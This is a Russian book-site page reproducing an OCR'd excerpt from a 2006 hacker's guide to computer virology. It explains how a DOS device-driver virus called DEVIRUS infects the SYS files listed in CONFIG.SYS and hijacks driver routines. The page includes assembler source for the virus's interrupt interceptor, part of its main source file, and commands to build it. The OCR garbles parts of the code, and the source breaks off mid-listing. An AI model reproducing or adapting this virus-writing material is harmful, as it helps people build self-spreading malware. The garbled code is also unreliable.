Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 92 93 94 95 96 97 < 98 > 99 100 101 102 103 104 .. 123 >> Следующая

заголовке запроса) и затем изменить заголовок запроса по своему
усмотрению. Вирус становится резидентом, почти не используя DOS-функций и
прямых манипуляций со структурами памяти. Типовой код для перехватчика
такого INTR-вируса будет выглядеть примерно так:
VIRALJNTR:
push di
push ds
push es
push cs
pop ds
les di,[RHPTR]
mov al.es: [di+2] ;получаем код функции
or al.al ;ноль?
jz DO_OLD_INTR
push cs ;создаем дальний вызов к
call [OLDJNTR] ;старой подпрограмме INTR
mov WORD PTR es:[di+14],OFFSET END.VIRUS
mov WORD PTR es:[di+16],cs устанавливаем
правильное окончание
pop es
pop ds
pop di
retf ;и возвращаемся в DOS
LOLDJNTR:
pop es
pop ds
pop di
jmp [OLDJNTR]
OLDJNTR DW OFFSET INTR
ГЛАВА 8. Инфицирование драйверов устройств
Шаг четвертый: выполнение
При такой стратегии инфицирования нам осталось только придумать, как
вирус будет вести себя. Он будет заражать только один файл при выполнении
или каждый файл в компьютере? Программа выполнит любое ваше желание.
DEVJRUS действует, открывая файл CONFIG.SYS и читая его строку за
строкой. Он находит команды в форме:
device=XXXXXX.XXX ABC DEF
Как только подобная команда найдена, вирус урезает "device""" и любые
параметры, передаваемые этому устройству, а затем записывает имя
устройства в строке ASCIIZ. Далее он открывает устройство, смотрит,
заражено ли оно, и если инфекции не имеется - производится процесс
заражения.
Подпро-
грамма INTR
Подпро-
грамма STRAT

OFFSET INTR
OFFSET STRAT

DEVIRUS
Вирус
Подпро-
грамма
INTR
Подпро-
грамма
STRAT
Рис. 22. Воздействие DEVIRUS на SYS-файл
Чтобы определить, заражен ли данный файл, DEVIRUS открывает его и находит
подпрограмму STRAT в заголовке. Затем он переходит в этот офсет и читает
10 байтов в буфере. Данные 10 байтов сравниваются с первыми 10 байтами
вируса. Если они одинаковы, DEVIRUS считает, что файл уже инфицирован. В
то же время вирус проверяет, имеет ли драйвер устройства двоичный формат.
Это действие выполняется проверкой двух первых байтов на <MZ> - обычный
идентификатор ЕХЕ-заголовка. Если эти символы найдены, вирус попросту
игнорирует файл.
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Процесс инфекции относительно прост и вовлекает только две записи.
Сначала DEVIRUS находит конец жертвы и использует его как офсет для новой
подпрограммы STRAT, записывая это значение в заголовок. Далее вирус
прячет адрес старой подпрограммы STRAT в себе (в STRJMP) и записывает
свое тело в конец SYS-файла. Логика DEVIRUS представлена на рис. 21.
Воздействие вируса на типичный SYS-файл показано на рис. 22. Так как
драйвер устройства является чисто двоичным файлом, все абсолютные ссылки
памяти (например на данные) должны кодироваться с учетом перемещаемых
офсетов (как в случае COM-файлов). Иначе все ссылки на данные станут
неправильными после первой инфекции.
Ассемблирование драйвера устройства
Многие Ассемблеры не предоставляют необходимой поддержки для
ассемблирования файла прямо в .SYS-файле драйвера устройства. Обычно
драйвер устройства пишется в крошечной модели (tiny model) и выражение
ORG 0 стартует код. Заголовок закодирован и следует за подпрограммами
STRAT и INTR. При правильной кодировке драйвер можно ассемблировать в
ЕХЕ-файл. Обычно Ассемблер выдает сообщение "без стека". Вы можете
игнорировать это, поскольку драйверы устройств не имеют собственного
стека. Затем он должен быть конвертирован в двоичный код с помощью
программы EXE2BIN или DEBUG. Чтобы создать файл DEVICE.SYS из DEVICE.EXE,
используйте DEBUG и следующие команды:
C:\DEBUG DEVICE.EXE -nDEVICE.SYS -w100 -q
Все достаточно просто!
Исходный код DEVIRUS.ASM
Следующий исходный код можно ассемблировать в ЕХЕ-файл с помощью TASM или
MASM. Будьте осторожны! При своем выполнении вирус может инфицировать все
SYS-файлы, упомянутые в CONFIG.SYS!

ГЛАВА 8. Инфицирование драйверов устройств
DEVIRUSASM - это простой вирус для драйвера устройства. При выполнении
он;инфицирует все SYS-файлы в CONFIG.SYS.
.model tiny .code
ORG 0
HEADER:
dd -1 ;ссылка на следующий драйвер устройства
dw 0С840Н ; слово атрибутов устройства
SIRlNdw OFFSET VIRUS указатель на подпрограмму стратегии INTRTN сКл/
OFFSET INTR ; указатель на подпрограмму прерывания db 'DEVIRUS' ;имя
устройства
RHPTR db ? указатель на заголовок запроса, заполняемый DOS
Это подпрограмма стратегии. Обычно она берет значение, переданное ей в
es:bx, и сохраняет его в RHPTR для использования в процедуре INTR. Это
значение является заголовком запроса, который используется устройством
для определения того, что от него требует пользователь.
STRAT:
mov WORD PTR cs: [RHPTR],bx mov WORD PTR cs: [RHPTR+2],es reft
Это подпрограмма прерывания. Она вызывается DOS и говорит драйверу
устройства делать то-то и то-то. Типовые вызовы включают в себя чтение и
запись, открытие и закрытие устройства.
INTR: •
push bx push si push di push ds push es push cs pop ds
л err
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Предыдущая << 1 .. 92 93 94 95 96 97 < 98 > 99 100 101 102 103 104 .. 123 >> Следующая